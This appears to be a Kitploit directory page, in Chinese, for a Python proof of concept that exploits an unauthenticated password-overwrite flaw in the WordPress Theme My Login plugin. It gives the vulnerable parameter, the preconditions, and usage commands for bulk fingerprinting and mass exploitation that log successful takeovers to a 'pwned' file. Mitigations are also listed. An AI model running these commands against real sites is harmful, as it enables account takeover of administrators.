Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-89079 — 针对 CVE-2026-89079 的 Python PoC:在 WordPress 多站点环境中指纹识别 Theme My Login <=7.2.1,然后通过 lost-password 利用未认证密码覆盖漏洞,并验证登录。 | Kitploit
工具/GitHubGitHub/murrez/cve-2026-89079
权限提升漏洞扫描器密码攻击漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubmurrez/cve-2026-89079

CVE-2026-89079

针对 CVE-2026-89079 的 Python PoC:在 WordPress 多站点环境中指纹识别 Theme My Login <=7.2.1,然后通过 lost-password 利用未认证密码覆盖漏洞,并验证登录。

查看仓库
82220天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-89079 — Theme My Login(WordPress 多站点)

PoCbit

针对 CVE-2026-89079 的安全研究工具:当 Theme My Login ≤ 7.2.1 启用了网络选项 tml_user_passwords 时,WordPress 多站点上存在未认证账户接管漏洞。

仅限授权测试。 请勿用于您不拥有或未获得书面许可进行测试的系统。

插件Theme My Login
受影响版本≤ 7.2.1
修复版本7.2.2+(06b7623)
CWECWE-269 权限管理不当
CVSS 3.19.8(严重)

为什么版本扫描 ≠ 可利用

以下三个条件必须同时成立:

  1. is_multisite() — ms-hooks.php 仅在真正的 WordPress 多站点环境中加载(而非单站点上的 TML /register/)。
  2. get_site_option( 'tml_user_passwords' ) — 网络级“用户自选注册密码”选项。
  3. Theme My Login ≤ 7.2.1 — tml_ms_filter_pre_insert_user_data() 在 retrieve_password() → wp_update_user() 过程中应用 $_POST['user_pass1']。

在丢失密码 POST 请求后返回 checkemail=confirm 响应并不证明密码已被更改;当易受攻击的过滤器未激活时,这是 WordPress 的正常行为。

仓库结构

CVE-2026-89079/
├── poc.py              # CLI: mass check / exploit / verify-only
├── tml_core.py         # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│   └── test_tml_core.py
└── lab/
    └── README.md       # Disposable WP multisite lab notes

安装

git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt

用法

检查(指纹)

python poc.py --check https://target.example.com

# Bulk
python poc.py -f targets.txt --mode check -j 30 -q

# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q

输出文件(默认):

文件内容
cve_2026_89079_results.jsonl所有目标 + finding_status、多站点 / user_pass1 提示
cve_2026_89079_vuln.txtTML ≤ 7.2.1(列:URL、版本、可选的 best_login)
cve_2026_89079_eligible.txt更严格的启发式规则:网络注册 + 注册 user_pass1(并非保证)

finding_status 的取值包括:NOT_DETECTED、PATCHED、POTENTIALLY_VULNERABLE、PRECONDITIONS_UNKNOWN、VERIFICATION_INCONCLUSIVE、NETWORK_ERROR。

漏洞利用(丢失密码 + 登录验证)

# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit

python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit

# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q

常用参数:

参数用途
--no-require-multisite即使多站点启发式检测失败也尝试(许多单站点 TML 站点)
--require-user-passwords当注册页面缺少 user_pass1 时跳过
--only-eligible仅利用先前 --check-jsonl 中标记为 exploit_eligible 的行
--verify-only不发送密码 POST / 不登录 — 仅进行表单与端点诊断
--skip-version-check当 readme 被阻止时强制尝试
-q更安静的批量日志输出

输出: cve_2026_89079_exploit.jsonl、cve_2026_89079_pwned.txt(成功登录记录)。

测试

python -m unittest discover -s tests -v

技术说明

  • 丢失密码处理:tml_lost_password_handler() → 核心 retrieve_password()。
  • 7.2.2 修复:wp_pre_insert_user_data 过滤器在丢失密码期间忽略更新($update)。
  • 多站点检测会忽略 wp-signup.php → /register/ 重定向(常见的 单站点 TML 误报)。
  • 表单使用 html.parser 解析;在配置后支持 TML AJAX 丢失密码。

缓解措施

  • 在网络上升级 Theme My Login 至 7.2.2+。
  • 禁用 tml_user_passwords 或该插件,直至修补完成。
  • 对包含 user_pass1 的丢失密码 URL 的未认证 POST 请求进行阻止或告警。

参考资料

  • CVE-2026-89079
  • WordPress.org changeset 3696081
  • Patchstack 公告
  • PoCbit 页面

法律声明

本项目用于防御性安全研究、补丁验证和经授权的渗透测试。禁止滥用。作者对未经授权的使用不承担任何责任。

下载工具